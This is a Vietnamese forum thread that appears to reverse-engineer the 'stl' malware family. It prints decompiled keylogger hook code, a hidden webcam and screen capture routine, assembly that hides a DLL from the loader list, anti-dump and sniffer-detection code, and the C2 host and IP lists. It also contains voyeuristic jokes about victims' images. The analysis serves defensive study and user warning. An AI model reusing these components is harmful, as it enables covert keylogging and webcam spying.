|
|
Tới giờ, có lẽ chuyện về stl cũng đã hết rồi, không còn nóng hổi nữa. Thay vào đó, chúng ta sẽ cùng nhau RCE, phân tích các tip&tricks, các đoạn code đáng chú ý của stl coder để ai có thích tìm hiểu về RCE, coding, virus có thể học hỏi được điều gì đó. Đồng thời cũng để trao đổi kỹ thuật, các tools, script để RCE.
Tôi xin quay lại với dll keylog của stl hồi xưa, hardkbd.dll. Bà con còn nhớ không ? Size = 136192 bytes. Hardkbd.dll còn có tên khác là IEFrame.ocx, cũng size đó luôn.
File này export ra 4 hàm, fake các hàm của COM dll:
Name VA Index
------- --- -------
DllCanUnloadNow 10002680 1
DllGetClassObject 10002680 2
DllRegisterServer 10002160 3
DllUnregisterServer 10002680 4
Trong 4 hàm trên, chỉ có hàm DllRegisterServer là có code, còn toàn bộ là empty function, chỉ return FALSE.
Khi hardkbd.dll được mèo què khác của stl load lên, ngay trong hàm DllMain, code chỉ call 1 hàm duy nhất, tôi gọi là MainProc.
Hàm MainProc sẽ làm rất nhiều việc, lấy version của Windows, tuỳ theo version của Win mà sẽ create các thread tương ứng. Các thread này kiểm tra Exe parent mà nó được load. Tương ứng với services.exe, winlogon.exe, logonui.exe, explorer.exe sẽ có các thread khác nhau. Sau đó MainProc sẽ remote load ieframe.ocx (cũng chính là hardkbd.dll) vào Explorer.exe.
Code:
int __cdecl MainProc()
{
int osVer;
HANDLE hProcess;
BOOL notWinLogonExe;
DWORD ThreadId;
WCHAR wzPath[260];
osVer = GetVersion();
memset(wzPath, 0, 520);
hProcess = GetCurrentProcess();
GetModuleFileNameExW(hProcess, 0, wzPath, 260);
PathStripPathW(wzPath);
if (!_wcsicmp(wzPath, L"services.exe"))
{
ThreadId = 0;
CreateThread(0, 0, ThreadProcInServicesExe, 0, 0, &ThreadId);
}
notWinLogonExe = _wcsicmp(wzPath, L"winlogon.exe");
if (osVer == 6)
{
if (notWinLogonExe)
goto @@IsExplorer;
ThreadId = 0;
CreateThread(0, 0, ThreadProcInWinLogon, 0, 0, &ThreadId);
CreateThread(0, 0, InjectExplorerThreadProc, 0, 0, &ThreadID);
}
if (!notWinLogonExe)
{
ThreadId = 0;
InitMSDataVXDFile_And_LoadIEFrameOCX_And_HookKeyboard();
CreateThread(0, 0, InjectExplorerThreadProc, 0, 0, &ThreadId);
}
if (!_wcsicmp(wzPath, L"logonui.exe"))
{
CreateThread(0, 0, ThreadProcInLogOnUIExe, 0, 0, &ThreadID);
}
@@IsExplorer:
if (!_wcsicmp(wzPath, L"explorer.exe"))
{
ThreadId = 0;
CreateThread(0, 0, ThreadProcInExplorer, 0, 0, &ThreadId);
}
return -1;
Hàm InitMSDataVXDFile_And_LoadIEFrameOCX_And_HookKeyboard() sẽ create file msdata.vxd trong thư mục System32
Code:
int InitMSDataVXDFile_And_LoadIEFrameOCX_And_HookKeyboard()
{
DWORD ThreadId;
CHAR szMsdataVxdPath[260];
if (S_OK != SHGetFolderPathA(0, CSIDL_SYSTEM), 0, 0, szMsdataVxdPath)
return -1;
sprintf_s(szMsdataVxdPath, 260, "%s\\msdata.vxd", szMsdataVxdPath);
g_hFile_Msdatavxd = CreateMSDataVxdFile(szMsdataVxdPath),
if (-1 == g_hFile_Msdatavxd)
return -1;
SetWindowsHookExA(WH_KEYBOARD, KbdHookProc, 0, GetCurrentThreadId(););
write_string_after_xor_with_0x6F_to_msdata_vxd_file(0x12, g_hFile_Msdatavxd, "\r\n[Logon Window]\r\n");
ThreadId = 0;
CreateThread(0, 0, RemoteLoadIEFrameOCX, 0, 0, &ThreadId);
return 0;
}
Hàm KbdHookProc chính là hàm DllRegisterServer:
Code:
HRESULT __stdcall KbdHookProc(int code, WPARAM wparam, LPARAM lparam)
{
DWORD len;
HWND hwnd;
int p;
char ach;
WORD nSc1, nSc2;
HANDLE hFile;
char *psz;
SYSTEMTIME SystemTime;
char szText[1500];
char szWndText[1024];
if ((code != 0)|| !(~(lparam >> 31) & 1) || wparam == VK_CAPITAL || wparam == VK_SHIFT || wparam == VK_LSHIFT)
return CallNextHookEx(0, code, wparam, lparam);
hFile = g_hmsdatavxdfile;
if (wparam == VK_RETURN)
{
psz = "\r\n";
len = 2;
}
else if (wparam == VK_SPACE)
{
psz = L" ";
len = 1;
}
else if (wparam == VK_LWIN || wparam == VK_RWIN)
{
psz = "[Windows]";
len = 9;
}
else if (wparam == VK_TAB)
{
psz = L"\t";
len = 1;
}
else
{
hwnd = GetForegroundWindow();
if (hwnd != g_hForegroundWndLast)
{
memset(szWndText, 0, 1024);
GetWindowTextA(hwnd, szWndText, 1024);
memset(szText, 0, 1500);
GetLocalTime(&SystemTime);
sprintf_s(szText, 1500, "\r\n\r\n[%s] - [%.4i/%.2i/%.2i %.2i/%.2i/%.2i]:\r\n",
szWndText, SystemTime.wYear, SystemTime.wMonth, SystemTime.wDay,
SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond);
if (!write_string_after_xor_with_0x6F_to_msdata_vxd_file(strlen(szText), hFile, szText))
return -1;
g_hForegroundWndLast = hwnd;
}
GetKeyboardState(&g_abKeyState);
nSc1 = MapVirtualKeyA(wparam, 0);
if (ToAscii(wparam, v8, &g_abKeyState, &g_Char, 0) == 1)
{
if (g_Char > VK_SPACE)
{
wsprintfA(g_szKey, "%c", g_Char);
len = strlen(g_szKey);
psz = g_szKey;
}
nSc2 = MapVirtualKeyA(wparam, 0);
if (GetKeyNameTextA(v9 << 16, g_szKey, 16) > 0)
{
len = strlen(g_szKey);
psz = g_szKey;
}
}
else
{
nSc1 = MapVirtualKeyA(wparam, 0);
if (GetKeyNameTextA(nScancode << 16, g_szKey, 16) > 0)
{
len = strlen(g_szKey);
psz = g_szKey;
hFile = g_hmsdatavxdfile;
}
}
}
write_string_after_xor_with_0x6F_to_msdata_vxd_file(len, hFile, psz);
return CallNextHookEx(0, code, wparam, lparam);
}
|
|
|
File AcScreen.dll có tên gốc lúc build là CaptureScreen.dll
Export 3 hàm sau:
Hàm select video capture driver sẽ select video driver đầu tiên hợp lệ, vd: Webcam, camera an ninh....
Code:
int __stdcall GetCaptureDriver()
{
UINT wDriverIndex; // [sp+4h] [bp-414h]@1
WCHAR wzVer[252]; // [sp+8h] [bp-410h]@1
WCHAR wzName[254]; // [sp+200h] [bp-218h]@1
memset(&szName[1], 0, 0x1F2u);
memset(&szVer[1], 0, 0x1F2u);
for (wDriverIndex = 0; wDriverIndex < 9; ++wDriverIndex)
{
if (capGetDriverDescriptionW(wDriverIndex, szName, 500, szVer, 500))
{
return wDriverIndex;
}
}
return -1;
}
Hàm export D3DRMColorGetRed sẽ trả về cho caller TRUE hay FALSE. FALSE khi máy victim không có video capture driver.
Code:
BOOL __stdcall D3DRMColorGetRed()
{
return GetCaptureDriver() != -1;
}
Hàm D3DRMColorGetGreen sẽ được caller gọi để bắt đầu video capture, tham số đưa vào là filename của file image capture
Code:
BOOL __stdcall D3DRMColorGetGreen(LPWSTR pwzImgCaptured)
{
HANDLE hCaptureThread;
g_hDesktop = CreateDesktopW(L"Defau1t1", 0, 0, 1u, 0x10000000u, 0);
if (L"Defau1t1") // => bug của stl coder, may mà luôn luôn đúng
{
hCaptureThread = CreateThread(0, 0, CaptureThreadProc, 0, 0, 0);
WaitForSingleObject(hCaptureThread, INFINITE);
CloseDesktop(g_hDesktop);
wcscpy(pwzImgCaptured, g_wzCaptureFileName);
}
return 0; // => stl coder bug: không CloseHandle(hCaptureThread);
}
CaptureThreadProc sẽ create tiếp 2 thread, một thread để force kill capture video window, 1 thread thực hiện capture
Code:
int __cdecl VideCaptureThreadProc()
{
int result;
int captureDriverIndex;
SetThreadDesktop(g_hDesktop);
captureDriverIndex = GetCaptureDriver();
if (captureDriverIndex == -1)
{
result = -1;
}
else
{
VideoCapture(g_wzCaptureFileName, captureDriverIndex, 640, 480, 10);
result = 0;
}
return result;
}
640, 480 là kích thước capture video window, 10 là số loop count của message loop của capture video window.
Code:
signed int __cdecl VideoCapture(WCHAR *pwzDibFile, UINT capDriverIdx, int nWidth, int nHeight, int loopCount)
{
DWORD dwWndLong;
MSG Msg;
HWND hwndCapture;
HWND hDskWnd = GetDesktopWindow();
hwndCapture = j_capCreateCaptureWindowW(0, 0x40000000u, 0, 0, nWidth, nHeight, hDskWnd, 0);
if (hwndCapture)
{
dwWndLong = GetWindowLongW(hwndCapture, GWL_EXSTYLE);
SetWindowLongW(hwndCapture, GWL_EXSTYLE, (dwWndLong | 0x80080) & 0xFFFBFFFF);
ShowWindow(hwndCapture, SW_SHOWNORMAL);
SetLayeredWindowAttributes(hwndCapture, 0, 1, LWA_ALPHA); // capture window sẽ transparent, không thấy trên màn hình
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_DRIVER_CONNECT, capDriverIdx, 0);
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_SET_SCALE, TRUE, 0); // scale preview image to 640x480
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_SET_PREVIEWRATE, 60, 0); // 1s chụp 1 frame
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_SET_PREVIEW, TRUE, 0); // start preview mode
for (i = 0; i < loopCount; ++i)
{
GetMessageW(&Msg, hwndCapture, 0, 0);
DispatchMessageW(&Msg);
TranslateMessage(&Msg);
}
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_FILE_SAVEDIBW, 0, pwzDibFile); // save to bmp file
if (IsWindow(hwndCapture))
SendMessageW(hwndCapture, WM_CAP_DRIVER_DISCONNECT, capDriverIdx, 0);
DestroyWindow(hwndCapture);
result = 1;
}
else
{
result = 0;
}
return result;
}
Hàm export cuối cùng chỉ làm nhiệm vụ capture screen và lưu vào file input parameter
Code:
UINT __stdcall D3DRMColorGetBlue(LPWSTR pwzImgFile)
{
WCHAR wzTempFileName[520];
HGDIOBJ hBmp;
int flag, xStart, yStart, nWidth, nHeight;
memset(wzTempFileName, 0, 1040);
CreateWmpTempFileName(wzTempFileName);
hBmp = ScreenCapture(flag, xStart, yStart, nWidth, nHeight);
if (hBmp)
{
SaveToJPGFile(hBmp, wzTempFileName, 75);
wcscpy(pwzImgFile, wzTempFileName);
}
return 0;
}
Trong file này, stl coder code bug tá lã, quên CloseHandle cho các hThread nhiều lắm. Máy ai mà chạy lâu lâu thì chỉ có nước die, cạn hết kernel handles. Cách dùng KillThreadProc để kill Video capture window rất ngớ ngẫn, vì vậy các bạn mới thấy stl coder gọi IsWindow liên tục như vậy, chắp vá phải không bạn stl ?
Và một điều nữa là các bạn có thấy không, stl coder ít dùng các class std::string, CString,... cứ khoái declare các buffer bự tổ chãng rồi memset tá lã hết !
Chỉ vài đoạn code C vậy thôi là dung nhan "mát mẽ" của các em gái victim bị chụp hết. Đơn giản ha ! Kiểu này em cũng viết một con mới được, tìm một cái FTP server nữa là có hình "nóng" xem mệt xỉu.
Và bà con IT nam thì rút kn, khi ngồi máy thì đừng ở trần, ngồi đàng hoàng nhen
|
|
|
Bà con nào nếu tìm trong thấy trong harddisk của mình có các file của QTTask.zip, file AcScreen.dll, hay các file trong bộ Dao360.dll.mui thì chịu khó xoá giùm đi. Boot vào SafeMode hay dùng HirenBoot CD để boot vào DOS, xoá ngay lập tức.
Em cảnh báo bao nhiêu lần rồi, bà con không chịu xoá thì mai mốt bị "tắm trắng" ráng chịu à nhen
Còn nếu bà con vẫn không sợ, không chịu xoá, vui lòng lấy băng keo đen dán vào Webcam của mình, hay rút nó ra luôn. Khi nào cần chat với em út thì cắm lại.
Từ 2010, coder stl đã chơi trò chụp hình người ngồi trước máy tính thông qua webcam, save thành một file DIB (BMP), convert sang JPEG file bằng cách dùng các methods trong class Image của GdiPlus, rồi úp về mấy cái host kia. Quá đáng thật (may là em không bao giờ gắn webcam vào máy)
Lúc trước em đã RCE sơ bộ file AcScreen.dll này rồi, nhưng lại không để ý. Giờ móc mấy file "mèo què" chưa RCE xong ra làm tiếp, mới giật mình phát hiện. Đoạn code video capture bằng Video For Windows API em quen lắm, vì lúc còn làm coder có làm một số project = VFW, sau đó mới chuyển qua dùng DirectShow.
File AcScreen.dll được gọi bằng cversions.2.db và dao360.dll.mui. Nó export ra 3 hàm để hai ông nội kia gọi. Ba hàm đó, thằng thì tìm video capture driver index, thằng thì chụp màn hình, thằng thì bật webcam lên capture "dung nhan" của victim.
Kiểu này thì em phải ráng hack vào các server kia mới được, hình ảnh "tươi mát" của các cô victim lúc ngồi máy ăn bận mát mẽ đầy ra đó. Mấy anh stl sướng thiệt, rữa mắt miễn phí, bát ngát luôn. Share cho em vài tấm hình "hot hot" nhen .
|
|
|
2 trycatch: Bai # Bye nhen !
String sau từ "Bai" là kết hợp của 2 string này:
Vì vậy, các bạn search hay Google Translate từ "Bai" đó sai hết rồi, hì hì
Với các bạn đã code C/C++, nhìn hàm format string đó các bạn hiểu ngay là:
Code:
[%d.%d.%d]: [dwMajorVersion.dwMinorVersion.dwBuildNumber]
SP: wServicePackMajor
PT: wProductType
SM: wSuiteMask
HD: Volume serial number of %HomeDrive%
NIC: MAC address
Bai: ???????
Và các bạn còn nhớ cái name pipe tên Nanned không trong bộ Dao360.dll.mui ?
PS: Đoạn code HideDll của stl coder có bug, nên nó không hide được cversions.2.db hay dao360.dll.mui trong list DLLs panel view của Process Explorer hay Process Hacker... Em đố bạn nào tìm ra được bug đó, nếu tìm ra, CN này đi nhậu Bữa nhậu này đáng lý phải bắt stl coder trả tiền, cho chừa cái tội copy code mà không hiểu, không test
Các bạn thử đoán xem, stl coder lấy list các software, các update trên máy victim để làm gì ? Thâm hiểm lắm đấy !
|
|
|
Còn một cách khác để chúng ta có thể run Wireshark, SmartSniff..., không cấn modify wireshark.exe, smsniff.exe... mà code của stl sẽ không thể nào detect ra.
Chúng ta sẽ dùng tool HideToolZ, tool này nhiều bạn biết. Các bạn có thể download ở đây: http://woodmann.com/collaborative/tools/index.php/HideToolz. Có thể sẽ có vài AVs báo HideToolz là rootkit, không sao !
Chỉnh option của HideToolz như hình:
Run Wireshark hay SmartSniff, hide các process đó, xong. Code của stl sẽ không detect ra !
Tiếp tục nào các bạn, vì cversions.2.db là một dll, nên chúng ta không thể nào run nó trực tiếp được. Chúng ta chép một mình cversions.2.db qua máy ảo (VM), vào thư mục C:\Temp chẵng hạn.
Run Wireshark (hay SmartSniff) trên máy ảo với protect = HideToolz như trên. Config Wireshark để capture vào một pcap file nào đó, rồi start capture.
Sau đó ra ngoài command line, gõ lệnh:
Code:
rundll32.exe C:\Temp\cversions.2.db, ABCDE
Do cversions.2.db không export hàm nào, nên rundll32.exe sẽ quăng ra môt message box, kệ nó, đừng click OK, bỏ đó đi uống ăn cơm. Các thread của cversions.2.db đã bắt đầu chạy rồi đó, Wireshark sẽ capture sau khi các thread đó ngủ dậy.
Quan sát Wireshark tới khi nào các bạn thấy cversions.2.db kết nối tới các host kia. Click OK để kết thúc rundll32.exe (sẽ tự kill luôn cversions.2.db).
Mở file pcap thu được bằng Wireshark với 010 Editor, mở template PCAPTemplate.bt, xor data gởi đi với 0x1D, các bạn sẽ thấy cversions.2.db đã gởi đi thứ gì từ mấy các bạn.
Một phần data trên máy em sau khi em xor:
Bà con chú ý cái hình after xor nhé, dòng bôi đõ đầu tiên là volume serial number của C: (%HomeDrive%), dòng bôi đỏ thứ hai là MAC address của card mạng, dòng bôi đỏ thứ 3 là Model và Serial Number của Hard Disk1 (master).
Bà con ai biết, chữ "Bai" là gì, của ngôn ngữ nào không ??? Chữ "Bai" này em thấy lạ lắm, vì em biết coder Việt ta không bao giờ dùng chữ "Bai" để mô tả harddisk type và serial number ???
Trong khi đó, với dao360.dll.mui thì code lấy harddisk type và serialnumber không có (chưa dùng WMI), nên chuỗi format chỉ là:
Code:
[%d.%d.%d] - SP %d - PT %d - SM %d - HD %0.8X - NIC %s
|
|
|
cversions.2.db và dao360.dll.mui đều là chung một code base ban đầu. Chúng có 2 hàm đáng chú ý sau mà anh em research rootkit, cracking hay gặp:
1. Hàm che dấu Dll name khỏi các tool Process Explorer, TaskManager....:
Code:
.text:1000D610 ; BOOL HideDLL(void)
.text:1000D610 HideDLL proc near ; CODE XREF: MaintThreadProc+A9p
.text:1000D610 ldr = dword ptr -4
.text:1000D610 000 push ecx
.text:1000D611 004 mov ecx, g_hinstDLL
.text:1000D617 004 test ecx, ecx
.text:1000D619 004 jnz short @@DLLInstanceNotZero
.text:1000D61B 004 xor eax, eax
.text:1000D61D 004 pop ecx
.text:1000D61E 000 retn
.text:1000D61F @@DLLInstanceNotZero: ; CODE XREF: HideDLL+9j
.text:1000D61F 004 push esi
.text:1000D620 008 mov eax, large fs:18h ; eax = ptr to _TEB
.text:1000D626 008 mov eax, [eax+_TEB.ProcessEnvironmentBlock] ; eax = ptr to _PEB
.text:1000D629 008 mov eax, [eax+_PEB.Ldr] ; eax = ptr to _PEB_LDR_DATA
.text:1000D62C 008 mov [esp+8+ldr], eax
.text:1000D630 008 mov eax, [esp+8+ldr]
.text:1000D634 008 mov esi, [eax+PEB_LDR_DATA.InLoadOrderModuleList.Flink] ; esi = InLoadOrderModuleList: _LIST_ENTRY struct
.text:1000D637 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.DllBase] ; eax = DllBase of first DLL (0x18 offset in LDR_DATA_TABLE_ENTRY struct)
.text:1000D637 ; In Windows, hau nhu la DllBase cua Ntdll.dll
.text:1000D63A 008 test eax, eax
.text:1000D63C 008 jz short @@FoundThisDLL
.text:1000D63E 008 mov edi, edi
.text:1000D640 @@IsThisDLL: ; CODE XREF: HideDLL+3Bj
.text:1000D640 008 cmp eax, ecx ; ecx = DllBase or HInstance of this DLL
.text:1000D642 008 jz short @@FoundThisDLL
.text:1000D644 008 mov esi, [esi] ; esi = InLoadOrderLinks.Flink
.text:1000D646 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.DllBase] ; eax = DllBase of next DLL
.text:1000D649 008 test eax, eax
.text:1000D64B 008 jnz short @@IsThisDLL
.text:1000D64D @@FoundThisDLL: ; CODE XREF: HideDLL+2Cj
.text:1000D64D ; HideDLL+32j
.text:1000D64D 008 cmp [esi+_LDR_DATA_TABLE_ENTRY.DllBase], 0 ; DllBase is 0 ?
.text:1000D651 008 jnz short @@ModifyDoubleLinkList
.text:1000D653 008 xor eax, eax
.text:1000D655 008 pop esi
.text:1000D656 004 pop ecx
.text:1000D657 000 retn
.text:1000D658 @@ModifyDoubleLinkList: ; CODE XREF: HideDLL+41j
.text:1000D658 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink]
.text:1000D65B 008 mov edx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink]
.text:1000D65D 008 mov [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], edx
.text:1000D65F 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink]
.text:1000D661 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink]
.text:1000D664 008 mov [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], ecx
.text:1000D667 008 mov edx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink]
.text:1000D66A 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink]
.text:1000D66D 008 mov [edx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], eax
.text:1000D66F 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink]
.text:1000D672 008 mov edx, [esi+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink]
.text:1000D675 008 mov [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], edx
.text:1000D678 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Blink]
.text:1000D67B 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink]
.text:1000D67E 008 mov [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], ecx
.text:1000D680 008 mov edx, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink]
.text:1000D683 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Blink]
.text:1000D686 008 mov [edx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], eax
.text:1000D689 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Blink]
.text:1000D68C 008 mov edx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Flink]
.text:1000D68F 008 mov [ecx+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink], edx
.text:1000D691 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Flink]
.text:1000D694 008 mov ecx, [esi+_LDR_DATA_TABLE_ENTRY.HashLinks.Blink]
.text:1000D697 008 mov [eax+_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Blink], ecx
.text:1000D69A 008 movzx edx, [esi+_LDR_DATA_TABLE_ENTRY.FullDllName.Length]
.text:1000D69E 008 mov eax, [esi+_LDR_DATA_TABLE_ENTRY.FullDllName.Buffer]
.text:1000D6A1 008 push edx ; size_t
.text:1000D6A2 00C push 0 ; int
.text:1000D6A4 010 push eax ; void *
.text:1000D6A5 014 call _memset ; Zero the FullDllName
.text:1000D6AA 014 push 48h
.text:1000D6AC 018 push 0
.text:1000D6AE 01C push esi
.text:1000D6AF 020 call _memset ; Zero memory _LDR_DATA_TABE_ENTRY of this DLL
.text:1000D6B4 020 add esp, 18h
.text:1000D6B7 008 mov eax, 1
.text:1000D6BC 008 pop esi
.text:1000D6BD 004 pop ecx
.text:1000D6BE 000 retn
.text:1000D6BE HideDLL endp
Sau khi hàm HideDll này được thực thi, với các tool bình thường, chúng ta sẽ không thấy cversions.2.db hay dao360.dll.mui được load lên.
2. Code anti-dump dll memory xuống disk:
Code:
.text:1000DF80 ; void __cdecl IncSizeOfImageFieldInLDR()
.text:1000DF80 IncSizeOfImageFieldInLDR proc near ; CODE XREF: MaintThreadProc:loc_1000A82Ep
.text:1000DF80 000 mov eax, large fs:30h ; eax = PEB
.text:1000DF86 000 mov eax, dword ptr [eax+_PEB_LDR_DATA.InLoadOrderModuleList] ; eax = Ldr: _PEB_LDR_DATA
.text:1000DF89 000 mov eax, [eax+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink] ; InLoadOrderModuleList : _LIST_ENTRY
.text:1000DF8C 000 add [eax+_LDR_DATA_TABLE_ENTRY.SizeOfImage], 3686400 ; _LDR_DATA_TABLE_ENTRY: 0x20 offset = SizeOfImage
.text:1000DF93 000 retn
.text:1000DF93 IncSizeOfImageFieldInLDR endp
Hai kỹ thuật trên đã có từ lâu lắm rồi, được public nhiều trên Phrack magazine và Vxnetlux...., nói chung là đạo code, không có gì mới, nhưng vẫn hiệu quả với các tool, người dùng bình thường trong việc che giấu cversions.2.db hay dao360.dll.mui khỏi TaskManager, ListDll, Process Explorer....
|
|
|
Không sao cả bà con, code detect Wireshark của stl có bug, bug này giải thích như sau:
1. Khi Run wireshark.exe, nếu chưa start capture thì WindowName string của wireshark là: "The Wireshark Network Analyzer", lúc này hàm FindWindowW sẽ tìm ra và return TRUE, cờ global được set thành TRUE.
2. Khi ta start capture, WindowName của Wireshark sẽ thay đổi thành "Capturing from xxxx". Lúc này FindWindowW sẽ return FALSE, tìm không ra.
Em vừa download bản Wireshark v1.6.2 trên http://www.wireshark.org, run và test WindowName trên Wireshark đó.
Tóm lại, cuối cùng, ta chỉ cần đổi tên wireshark.exe thành tên khác, vd: wrshark.exe, thì toàn bộ đoạn code detect Wireshark của stl coder (group ?) sẽ vô dụng !
Còn để đề phòng cho các trường hợp detect khác, ngoài việc đổi tên wireshark.exe thành xxx.exe gì đó, các bạn nên dùng thêm 1 HexEditor (010 Editor chẳng hạn, bà con down tại đây http://www.exelab.ru) để find và replace Ansi string "The Wireshark Network Analyzer" thành chuổi khác, vd như em thì thay thành "The Sharkwire Analyzer Network"
Đoạn thread code detect sniffers của stl coder:
Code:
int __stdcall Set_Privilege_And_Detect_Sniffers_Thread_Proc(LPVOID pParam)
{
HANDLE hThread; // eax@1
hThread = CreateThread(0, 0, EnableDebugAndShutdownPrivilege, 0, 0, 0);
if (hThread)
CloseHandle(hThread);
while ( g_dwContinue )
{
if ( DetectWireshark() || DetectSmartSniff() || DetectEtherDPacketSniffer() )
{
g_bNotSafeToConnect = TRUE;
Sleep(5000u); // ngủ 5s
}
else
{
g_bNotSafeToConnect = FALSE;
Sleep(5000u); // ngủ 5s
}
}
return 0;
}
Cứ ngủ xong 5s, thức dậy, detecting tiếp, set cờ, lại ngủ tiếp. Bởi vậy có bà con có nói với em, sao "mèo đã què" rồi mà không cho ngủ hả anh ?! Ngủ hay không ngủ gì nó cũng ngốn và nóng CPU hết, vì đã code multithread mà cứ Sleep với loop liên tục thì bằng không ? Và không lẽ khi đang debug nó, mình phải ngủ theo nó à Lại còn check đk trên global variables nữa chứ, tranh chấp hay detect sai là cái chắc (g_dwContine và g_bNotSafeToConnect). Mấy anh stl không biết dùng cơ chế Synchronize và WaitForxxx à ?
|
|
|
Ngày hôm qua, sau khi em phân tích xong cversions.2.db, em dùng PatchDiff compare với IDA database của dao360.dll.mui, hai version mà em đã có. Phải nói là như anh chị em sinh đôi, giống nhau tới từng hàm, thứ tự hàm, thứ tự call. Chỉ khác nhau cái list mấy cái host để upload thông tin victim về, cách mã hoá, che giấu.... Nói chung là: chỉ là một code base ban đầu thôi.
Và em cũng thành thật xin lỗi anh em, cái tội hồ đồ, bộp chộp. Từ năm 2010, trong code của Dao360.dll.mui đã có code detect SmartSniff rồi. Chỉ khác là lúc đó detect trên WndClassName, còn cversions.2.db là WndName. Cờ thì đổi lại, TRUE->FALSE, tức là cái g_bNotSafeToConnect nguyên thuỷ là g_bSafeToConnect, vậy thôi. Giống nhau tới từng dòng if, while, for....
Điều này chứng tỏ gì vậy bà con, stl cạn kiệt mẫu và source "mèo què" rồi. Có bao nhiêu đó, chế đi chế lại, thêm mắm thêm muối, bớt đường, bột ngọt thôi (RCE hoài, ngán quá !)
Bà con nhìn 2 cái list của mấy cái host của cversions.2.db và dao360.dll.mui, thấy không quan trọng, không quan tâm, không dính dáng gì tới mình. Lầm chết đấy, cái nguy hiểm nhất của tụi stl này là mấy cái host đó đấy. Bao nhiêu thông tin của "đã, đang, và sẽ" (tùm lum thì luôn, quá khứ, hiện tại, tương lai...) của các victim sẽ được up về đó đấy. Stl group sẽ dựa các thông tin trên các host đó mà muốn "bạch hoá" hay "tắm trắng" ai, hoàn toàn nằm trên các host đó đấy. Bao nhiêu cái host đó đủ để stl group hoành hoành giang hồ Internet, khủng bố, đánh phá, hù doạ, khống chế mấy năm nay ! Em nói đúng không mấy "đại ca" stl ? Em tự hỏi giờ trong 11 cái host đó, có cái nào còn lưu thông tin của "Thằng Cu Anh" này không ? Và bà con, anh em IT VN ta, hảy đặt trường hợp, tất tần tật thông tin của mình, của máy tính mình đang dùng, đều nắm trên 11 cái host đó, thì sao ? Anh em hảy tự hỏi mình và tự hành động đi! Muốn stl "tắm trắng" anh em không ? Nằm trên đó hết đấy ? !
Tới bây giờ, anh em HVA sẽ "tắm đen" lại mấy anh, locked mấy cái host đó, thì mấy anh stl sẽ thấy, "cao nhân tất hữu cao nhân trị", "núi này cao còn có núi khác cao hơn". Các anh em HVA, chỉ dám nhận mình là "lùn tịt nhân", là cái gò, cái ụ mối thấp lè tè thôi, đủ để mấy anh gặp nightmare rồi, còn bao nhiêu núi cao khác, đồi cao khác chưa ra mặt... mà nhảy vô, thì mấy anh chỉ dẹp tiệm luôn là vừa, nhớ nhé !
Sau khi các AVs cập nhật hết, các host trên bị locked hết, thử xem các anh còn "tắm trắng" ai được nữa, còn hù doạ, khủng bố, lên mặt với ai được nữa không ?
Em có lang thang trên các blog, forum, nghe đệ tử mấy anh hùng hồn tuyên bố, sẽ ra ver mới của "mèo què"'s stl, sẽ đập chết mấy ai chống đối mấy anh ! Ráng đợi cái ver mới đó, xem thử mấy anh có đủ sức quay mấy anh em HVA và RCE team của HVA này hay không ? Nói nhỏ nhé, còn khuya, mấy anh muốn code cái gì thì ai cũng đã biết từ lâu rồi, không qua nổi những kiến thức, tips, tricks, techniques đã phổ biến trên Internet đâu, vì coder của mấy anh chỉ giỏi đạo code, đạo ý tưởng thôi mà, phải không mấy anh stl ?
|
|
|
Tiếp tục nhờ bà con kiểm tra, check, report baduse, badsite các host mang trong bụng của thằng Dao360.dll.mui hồi xưa:
Code:
Host IP Hosted
===== == =======
educationuk.ath.cx 111.90.150.183 PIRADIUS NET, Malaysia
goldenftpserver.ftpaccess.cc 188.72.216.63 Santrex Internet Service, Germany
hackforums.blogdns.net 209.217.248.77 Landis Holdings Inc, USA - Texas
playgirl.mypets.ws 188.72.216.63 Santrex Internet Service, Germany
searchsecurity.selfip.info 111.90.150.183 PIRADIUS NET, Malaysia
|
|
|
Các bản AV free mà bà con ta thường dùng còn MS Essentials, AVG và Avast. Mong bà con tiếp tục submit mẫu QTTask.zip cho các AntiVirus bà con đang dùng !
Bà con có thể theo list này để submit mẫu: http://www.mywot.com/wiki/Malware_submission
|
|
|
Theo tôi thì chắc chắn còn một con nằm vùng nào đó đang down một con bot DDOS mới vào VNN mà chúng ta còn chưa biết.
